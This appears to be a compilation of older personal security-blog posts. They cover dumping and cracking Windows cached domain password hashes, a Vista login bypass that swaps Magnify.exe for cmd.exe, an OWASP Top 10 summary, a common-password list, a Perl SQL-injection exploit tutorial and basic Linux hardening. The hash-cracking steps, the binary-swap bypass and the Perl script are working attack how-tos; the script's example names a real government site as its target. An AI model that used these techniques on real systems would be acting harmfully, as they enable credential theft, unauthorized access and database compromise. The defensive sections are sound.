Hello Everyone ,

if you use active directory you may notice windows xp sometimes allows you to login to computer even if your network is unplugged. this is because microsoft save your active directory password hash into your system registry using some algorithm named as MSCASH . there are many tools availble on internet to dump or to get these password hashes from registry.Password hash is saved in the Windows registry and by default saved 10 hashes.you can read more about mscash here .

Tools :

cachedump:

i personally first used cachedump a great dos based tool with which u can get saved active directory password hash.

you can download cachedump here .

Cain & Abel :

the second great tool availble to dump AD {active directory} saved hashes is Cain & Abel you can download Cain & Abel here

Recover Password

.

Second Part Crack Password :

now as you have your lost password hash you can use john the ripper with a small patch to crack your lost password mscash hash.

first you need a linux (ubuntu will be ok ) machine to use john. offcourse u can use windows but i will preffer linux as i dont know how we can patch john for mscash support ( i think you can do it using cygwin ). ok lets download and install john and patch it.

Rule # 1 : Don’t install john using apt-get install john ( if u do have thats ok but we will not be using that ) .

Step # 1 : login to your linux box.

Step # 2: download john 1.72 using :

wget -c ftp://ftp.openwall.com/pub/projects/john/1.7.2/john-1.7.2.tar.gz

Step # 3: extract john using :

tar xzf john-1.7.2.tar.gz

Step # 4: download patch for mscash using :

wget http://coast.cs.purdue.edu/pub/tools/unix/pwdutils/john/contrib/john-1.7.2-mscash-alainesp-4.1.diff.gz

Step # 5: Rename john to :

mv john-1.7.2 john-1.7.2.orig

Step # 6: patch john using :

gunzip -c john-1.7.2-mscash-alainesp-4.1.diff.gz | patch -p0

Step # 7: make John the ripper

cd john-1.7.2.orig/src && make linux-x86-mmx (depend on your system architect)

Step # 8: start cracking password using :

../run/john -i:all -format:mscash [filepath]

I hope this would help you. Please post comments and feedback.

1. Cross site scripting (XSS)

The problem: The “most prevalent and pernicious” Web application security vulnerability, XSS flaws happen when an application sends user data to a Web browser without first validating or encoding the content. This lets hackers execute malicious scripts in a browser, letting them hijack user sessions, deface Web sites, insert hostile content and conduct phishing and malware attacks.

Attacks are usually executed with JavaScript, letting hackers manipulate any aspect of a page. In a worst-case scenario, a hacker could steal information and impersonate a user on a bank’s Web site, according to Snyder.

Real-world example: PayPal was targeted last year when attackers redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were redirected to a phishing site and prompted to enter PayPal login information, Social Security numbers and credit card details. PayPal said it closed the vulnerability in June 2006.

How to protect users: Use a whitelist to validate all incoming data, which rejects any data that’s not specified on the whitelist as being good. This approach is the opposite of blacklisting, which rejects only inputs known to be bad. Additionally, use appropriate encoding of all output data. “Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser,” OWASP says.

2. Injection flaws

The problem: When user-supplied data is sent to interpreters as part of a command or query, hackers trick the interpreter — which interprets text-based commands — into executing unintended commands. “Injection flaws allow attackers to create, read, update, or delete any arbitrary data available to the application,” OWASP writes. “In the worst-case scenario, these flaws allow an attacker to completely compromise the application and the underlying systems, even bypassing deeply nested firewalled environments.”

Real-world example: Russian hackers broke into a Rhode Island government Web site to steal credit card data in January 2006. Hackers claimed the SQL injection attack stole 53,000 credit card numbers, while the hosting service provider claims it was only 4,113.

How to protect users: Avoid using interpreters if possible. “If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping libraries,” OWASP writes.

3. Malicious file execution

The problem: Hackers can perform remote code execution, remote installation of rootkits, or completely compromise a system. Any type of Web application is vulnerable if it accepts filenames or files from users. The vulnerability may be most common with PHP, a widely used scripting language for Web development.

Real-world example: A teenage programmer discovered in 2002 that Guess.com was vulnerable to attacks that could steal more than 200,000 customer records from the Guess database, including names, credit card numbers and expiration dates. Guess agreed to upgrade its information security the next year after being investigated by the Federal Trade Commission.

How to protect users: Don’t use input supplied by users in any filename for server-based resources, such as images and script inclusions. Set firewall rules to prevent new connections to external Web sites and internal systems.

4. Insecure direct object reference

The problem: Attackers manipulate direct object references to gain unauthorized access to other objects. It happens when URLs or form parameters contain references to objects such as files, directories, database records or keys.

Banking Web sites commonly use a customer account number as the primary key, and may expose account numbers in the Web interface.

“References to database keys are frequently exposed,” OWASP writes. “An attacker can attack these parameters simply by guessing or searching for another valid key. Often, these are sequential in nature.”

Real-world example: An Australian Taxation Office site was hacked in 2000 by a user who changed a tax ID present in a URL to access details on 17,000 companies. The hacker e-mailed the 17,000 businesses to notify them of the security breach.

How to protect users: Use an index, indirect reference map or another indirect method to avoid exposure of direct object references. If you can’t avoid direct references, authorize Web site visitors before using them

5. Cross site request forgery

The problem: “Simple and devastating,” this attack takes control of victim’s browser when it is logged onto a Web site, and sends malicious requests to the Web application. Web sites are extremely vulnerable, partly because they tend to authorize requests based on session cookies or “remember me” functionality. Banks are potential targets.

“Ninety-nine percent of the applications on the Internet are susceptible to cross site request forgery,” Williams says. “Has there been an actual exploit where someone’s lost money? Probably the banks don’t even know. To the bank, all it looks like is a legitimate transaction from a logged-in user.”

Real-world example: A hacker known as Samy gained more than a million “friends” on MySpace.com with a worm in late 2005, automatically including the message “Samy is my hero” in thousands of MySpace pages. The attack itself may not have been that harmful, but it was said to demonstrate the power of combining cross site scripting with cross site request forgery. Another example that came to light one year ago exposed a Google vulnerability allowing outside sites to change a Google user’s language preferences.

How to protect users: Don’t rely on credentials or tokens automatically submitted by browsers. “The only solution is to use a custom token that the browser will not ‘remember,’” OWASP writes.

6. Information leakage and improper error handling

The problem: Error messages that applications generate and display to users are useful to hackers when they violate privacy or unintentionally leak information about the program’s configuration and internal workings.

“Web applications will often leak information about their internal state through detailed or debug error messages. Often, this information can be leveraged to launch or even automate more powerful attacks,” OWASP says.

Real-world example: Information leakage goes well beyond error handling, applying also to breaches occurring when confidential data is left in plain sight. The ChoicePoint debacle in early 2005 thus falls somewhere in this category. The records of 163,000 consumers were compromised after criminals pretending to be legitimate ChoicePoint customers sought details about individuals listed in the company’s database of personal information. ChoicePoint subsequently limited its sales of information products containing sensitive data.

How to protect users: Use a testing tool such as OWASP’S WebScarab Project to see what errors your application generates. “Applications that have not been tested in this way will almost certainly generate unexpected error output,” OWASP writes.

7. Broken authentication and session management

The problem: User and administrative accounts can be hijacked when applications fail to protect credentials and session tokens from beginning to end. Watch out for privacy violations and the undermining of authorization and accountability controls.

“Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question and account update,” OWASP writes.

Real-world example: Microsoft had to eliminate a vulnerability in Hotmail that could have let malicious JavaScript programmers steal user passwords in 2002. Revealed by a networking products reseller, the flaw was vulnerable to e-mails containing Trojans that altered the Hotmail user interface, forcing users to repeatedly reenter their passwords and unwittingly send them to hackers.

How to protect users: Communication and credential storage has to be secure. The SSL protocol for transmitting private documents should be the only option for authenticated parts of the application, and credentials should be stored in hashed or encrypted form.

Another tip: get rid of custom cookies used for authentication or session management.

8. Insecure cryptographic storage

The problem: Many Web developers fail to encrypt sensitive data in storage, even though cryptography is a key part of most Web applications. Even when encryption is present, it’s often poorly designed, using inappropriate ciphers.

“These flaws can lead to disclosure of sensitive data and compliance violations,” OWASP writes.

Real-world example: The TJX data breach that exposed 45.7 million credit and debit card numbers. A Canadian government investigation faulted TJX for failing to upgrade its data encryption system before it was targeted by electronic eavesdropping starting in July 2005.
How to protect users: Don’t invent your own cryptographic algorithms. “Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing,” OWASP advises.

Furthermore, generate keys offline, and never transmit private keys over insecure channels.

9. Insecure communications

The problem: Similar to No. 8, this is a failure to encrypt network traffic when it’s necessary to protect sensitive communications. Attackers can access unprotected conversations, including transmissions of credentials and sensitive information. For this reason, PCI standards require encryption of credit card information transmitted over the Internet.

Real-world example: TJX again. Investigators believe hackers used a telescope-shaped antenna and laptop computer to steal data exchanged wirelessly between portable price-checking devices, cash registers and store computers, the Wall Street Journal reported.

“The $17.4-billion retailer’s wireless network had less security than many people have on their home networks,” the Journal wrote. TJX was using the WEP encoding system, rather than the more robust WPA.

How to protect users: Use SSL on any authenticated connection or during the transmission of sensitive data, such as user credentials, credit card details, health records and other private information. SSL or a similar encryption protocol should also be applied to client, partner, staff and administrative access to online systems. Use transport layer security or protocol level encryption to protect communications between parts of your infrastructure, such as Web servers and database systems.

10. Failure to restrict URL access

The problem: Some Web pages are supposed to be restricted to a small subset of privileged users, such as administrators. Yet often there’s no real protection of these pages, and hackers can find the URLs by making educated guesses. Say a URL refers to an ID number such as “123456.” A hacker might say ‘I wonder what’s in 123457?’ Williams says.

The attacks targeting this vulnerability are called forced browsing, “which encompasses guessing links and brute force techniques to find unprotected pages,” OWASP says.

Real-world example: A hole on the Macworld Conference & Expo Web site this year let users get “Platinum” passes worth nearly $1,700 and special access to a Steve Jobs keynote speech, all for free. The flaw was code that evaluated privileges on the client but not on the server, letting people grab free passes via JavaScript on the browser, rather than the server.

How to protect users: Don’t assume users will be unaware of hidden URLs. All URLs and business functions should be protected by an effective access control mechanism that verifies the user’s role and privileges. “Make sure this is done … every step of the way, not just once towards the beginning of any multi-step process,’ OWASP advises.

Have you forgotten your windows vista password ?   you cannot login to your  computer / laptop ? No worries you can hack windows vista to reset your windows vista password.

Requirements :

1 ) Windows Vista DVD
2 ) Computer with Windows Vista

Please follow steps below to reset your Windows Vista Password in 10 minutes.

Steps :

1. Insert the Windows Vista DVD into the DVD drive and then restart the computer.
2. Change Boot Options 1st Priority to Optical Drive.
3. When system booting up, if the message “Press any key to boot from cd” appears, immediately press Enter.
4. On Language Settings, Time and Currency and Keyboard Layout screen, just choose the correct settings then click Next.
5. On Install Now screen, click Repair. Note: Click No just in case you get the message: Windows found problems with your computer’s startup options.
6. On the System Recovery Options screen, under Operating System, click Windows Vista then click Next. Then select Command Prompt.
7. At the command prompt windows, type the following command then press Enter after typing each command:
c:
cd windows\system32
echo ~takeown /f %1 /r /d y > TakeControlOf.cmd
echo ~icacls %1 /grant administrators:F /t
ren Magnify.exe Magnify.old
ren cmd.exe Magnify.exe
8. Restart the computer.
9. On the Welcome Screen, click the Ease button.
10. Check Make items on the screen larger then click OK.
11. At the prompt, type the command then press Enter.

net user Administrator /active:yes
exit
12. Restart the computer.

13. At the welcome screen, logon using the local administrator account.
14. Access Control Panel then click User Accounts. Select the username of the account you can’t login to then remove the password.
15. Log off on the current local administrator account your are logon to.
16. Check if you can logon to your user account now.
17. Open c:\windows\system32.
18. Right click on Magnify.exe, select Properties -> Security -> Advanced -> Owner -> Edit -> Administrators then click OK.
19. Select Edit -> Administrators -> Full Control then click Apply then OK.
20. Rename Magnify.old to Magnify.exe
21. Open command prompt then type the command then press Enter.
net user Administrator /active:no

i hope this will help you feedback will be appreciate.

Here are most Commonly Chosen Passwords , Please don not use these words as your Passwords. Please use Password Meter [ http://www.passwordmeter.com/ ] .

aaa abc academia academic access ada admin adrian adrianna aerobics airplane albany albatross albert alex alexander alf algebra alias aliases alice alicia alisa alison allison alpha alphabet ama amadeus amanda amber amorphous amy analog anchor andrea andromache andy angela angerine angie animals anita ann anna anne annette answer anthropogenic anvils anything april aria ariadne arlene arrow arthur asd asm asshole athena atmosphere aztecs azure

bacchus badass bailey banana bananas bandit banks barbara barber baritone bart bartman basic bass bassoon batch batman beach beater beauty beaver becky beethoven beloved benz beowulf berkeley berlin berliner beryl beta beth betsie betty beverly bicameral bishop bitch bob bradley brandi brandy brenda brian bridget broadway bsd bumbling burgess

cad camille campanile candi candy cantor cardinal caren carla carmen carol carole carolina caroline carrie carson cascades castle cat catherine cathy cayuga cecily celtics cerulean change charity charles charming charon chat chem chemistry chess chester christina christine christy cigar cindy class classic claudia cluster clusters code coffee coke collins commrades computer comrade comrades condo condom connect connie console cookie cooper cornelius couscous create creation creosote cretin criminal cristina crystal cshrc cynthia

daemon daisy dana dancer daniel danielle danny dapper data dave dawn deb debbie deborah december default defoe deluge denise desiree desperate develop device dial diana diane diet dieter digital disc discovery disk disney dog dos drought dulce duncan

eager earth easier easy eatme edges edinburgh edwin edwina egghead eiderdown eileen einstein elaine elanor elephant elizabeth ellen email emerald emily emmanuel enemy engine engineer enterprise enzyme erenity erica erika erin ersatz establish estate eternity euclid evelyn extension

fairway felicia fender fermat ferrari fidelity field file finite fishers flakes float flower flowers foolproof football foresight format forsythe fourier fred friend frighten fun function fungible

gabriel games gardner garfield gatt gauss george gertrude gibson gina ginger glacier gnu golf golfer gorgeous gorges gosling gouge graham grahm group gryphon gucci guess guest guitar gumption guntis

hack hacker hal hamlet handily happening harmony harold harvey hawaii heather hebrides heidi heinlein hello help herbert hiawatha hibernia hidden holly homework honey horse horus hutchins hydrogen

ibm imbroglio imperial include ingres ingress ingrid inna innocuous internet irene irishman isis

jackie jane janet janice janie japan jasmin jean jeanne jen jenni jennifer jenny jessica jester jill jixian joanne jody johnny joseph joshua joy joyce judith judy juggle julia julie june jupiter

karen karie karina kate kathleen kathrine kathy katina katrina kelly keri kermit kernel kerri kerrie kerry key kim kimberly kirkland kitten knight krista kristen kristi kristie kristin kristine kristy

ladle lambda lamination lana lara larkin larry laura lazarus leah lebesgue lee leland leroy leslie lewis library light linda lisa lisp liz lock lockout lois lori lorin lorraine louis love lucy lynn lynne

macintosh mack maggot magic mail maint malcolm malcom manager mara marci marcy maria marietta mark markus marni mars marty marvin mary master math maurice meagan megan melissa mellon memory mercury merlin mets mgr michael michele michelle mickey mike minimum minsky mit modem mogul moguls monica moose morley mouse mozart mutant

nagel nancy napoleon nasa nepenthe neptune ness net network new news newton next nicole nita nobody noreen noxious nuclear nutrition nyquist

oceanography ocelot office olivetti olivia open operator oracle orca orwell osiris outlaw oxford

pacific pad painless pakistan pam pamela paper papers pass password pat patricia patty paula pencil penelope penguin penis peoria percolate persimmon persona pete peter philip phoenix phone pierre pizza plane playboy plover pluto plymouth polly polynomial pondering pork porsche poster power praise precious prelude presto prince princeton priv private privs professor profile program protect protozoa pub public pumpkin puneet puppet

qwerty

rabbit rachel rachelle rachmaninoff rainbow raindrop raleigh random rascal reagan really rebecca regional remote renee rick ripple risc rje robin robot robotics robyn rochelle rochester rodent rolex romano ronald root rose rosebud rosemary roses ruben rules ruth

sal samantha sandra sandy sara sarah saturn saxon scamper scheme school scott scotty secret security sensor serenity service sesame sex shannon sharc shark sharks sharon sheffield sheldon shell sherri shirley shit shiva shivers shuttle signature simon simple simpsons singer single smile smiles smooch smother snatch snoopy soap socrates somebody sondra sonia sonya sossina sparrows spit spring springer squires stacey staci stacie stacy steph stephanie strangle stratford student stuttgart subway success summer sun super superstage superuser support supported surfer susan susanne susie suzanne suzie swearer sybil symmetry sys sysadmin system

tamara tami tamie tammy tangerine tape tara target tarragon taylor tech telephone temptation tennis terminal test thailand theresa tiffany tiger tina toggle tomato topography tortoise toxic toyota traci tracie tracy trails transfer trisha trivial trombone tty tubas tuttle

umesh unhappy unicorn unix unknown uranus urchin ursula util utility uucp

valerie vasant venus veronica vertigo vicky village virgin virginia visitor

wargames warren water weenie wendi wendy whatever whatnot whiting whitney wholesale will william williamsburg willie wilma winston wisconsin wizard wombat woodwind word work wormwood wyoming

xfer xmodem xyz xyzzy

yaco yang yellowstone yolanda yosemite

zap zimmerman zmodem

[1] Introduction
[2] Little panning of Perl language used into an internet context
[3] Perl SQL Injection by examples
[4] Gr33tz to …

—+— StArT

[1] Introduction

Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an
easiest life to everyone who decide to start writing a perl exploit.
There are few requisites u need to proceed:
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc…);
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc…).

Now, we are ready to start…

[2] Little panning of Perl language used into an internet context

Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the
server side (or other..). To make this u need to use some “Perl modules”.
Those modules must be put on the head of the script. In this tut we are going to use only the “IO::Socket” module, but
there are thousand and if u are curious just search on cpan to retrieve info on every module.

[-] Using the IO::Socket module
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting
of the script “use IO::Socket”. With this module u’ll be able to connect to every server defined previously, using
a chomp, look at the example.

Example:
print “Insert the host to connect: “;
chomp ($host=<STDIN>);

Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this
host. To do this, we must create a new sock that will be used by the interpreter to connect.
To create this we are going to write something like this:

$sock = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″)
or die ” ]+[ Connecting ... Can't connect to host.nn";

In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp
($host=www.fbi.gov).
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").
Resume:
- Proto=>TCP -------> The protocol to use (TCP/UDP)
- PeerAddr=> -------> The server/host to connect
- PeerPort=> -------> Port to use for the connection

Ok, now let's go to the next step, which is the real hearth of this tut.

[3] Perl SQL Injection

Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.

The SQL code must be treaty like a normal variable (like “$injection”).

Example:
$injection=index.php/forum?=[SQL_CODE]

This string means that we are going to inject the query into “index.php/forum” path, following the correct syntax that
will bring us to cause a SQL Injection “?=”.

Now we must create a piece of code that will go to inject this query into the host vuln.

print $sock “GET $injection HTTP/1.1n”;
print $sock “Accept: */*n”;
print $sock “User-Agent: Hackern”;
print $sock “Host: $hostn”;
print $sock “Connection: closenn”;

This piece of code is the most important one into the building of an exploit.
It can be considered the “validation” of the connection.
In this case the “print” command doesn’t show anything on screen, but it creates a dialogue and sends commands to the host.

In the first line the script will send a “GET” to the selected page defined into “$injection”.
In the third line it tells to the host “who/what” is making the request of “GET”. In this case this is Hacker, but it
can be “Mozilla/5.0 Firefox/1.0.4″ or other.
In the fourth line it defines the host to connect to, “$host”.

With the execution of this script we have made our injection.

Resume of the exploit:

use IO::Socket

print “Insert the host to connect: “;
chomp ($host=<STDIN>);

$sock = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″)
or die ” ]+[ Connecting ... Can't connect to host.nn";

$injection=index.php/forum?=[SQL_CODE]

print $sock “GET $injection HTTP/1.1n”;
print $sock “Accept: */*n”;
print $sock “User-Agent: Hackern”;
print $sock “Host: $hostn”;
print $sock “Connection: closenn”;
close ($sock); #this line terminates the connection

A little trick:

Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.
Additionally, u want that your script will show the PWD on your screen.
Well, to make this, the next piece of code, could be one of the possible solutions.

while($answer = <$sock>) {
if ($answer =~ /([0-9a-f]{32})/) {
print “]+[ Found! The hash is: $1n”;
exit(); }

This string means that if the answer of the host will show a “word” made by 32 characters (“0″ to “9″ and “a” to “f”),
this word must be considered the MD5 Hash PWD and it must be showed on screen.

Conclusions:
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.
U could use also the module “LWP::Simple” in the place of “IO::Socket”, but u should change something into the code.
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.

Linux Security is a big topic and is difficult to be covered in one post. i will keep posting on this top time to time.

Below is some basic information; how we can secure a linux box.

1. Password Security
2. Directories Permissions/Ownership Security
3. Unnecessary Services
   
4. Network Security

1. Password Security

Make you password strong and lengthy. Combine letters, numbers, and symbols. Use password meter to test your passwords. Do not use root login for your normal work. only use limited users and for installation and other tasks where root login is required you can use su or sudo to become root and perform special task as soon as you are finished with your task press ctrl+D to return to normal user envirement.

2. Directories Permissions/Ownership Security

Linux have very good directory permision system as compared to Windows. All you need is to only change directory permissions where needed. and do not permit access to directoires like /etc /root to limited users as they could read important information that would help them hacking you box. You can use online permission calculator to calculate permisions .

3. Unnecessary Services
You need to disable all services that are not usefull to you. you can use sysv-rc-conf to check and manage all servces and their run levels. To disable a service you can uncheck a service run levels in sysv-rc-conf .

4. Network Security

Network Security is its self a big topic but at basic level you need to check which network services you are running at your linux server ( for example apache/httpd mysql bind ) . You can use firewall to disallow unneccessary access to these services . IPTABLE or IPCHAIN is firewall that is widely used to secure linux server. but for unauthorized access you need to configure each service to disallow. i will try to go in deep details of these services so stay tunned .

Your Comments will be appreciated.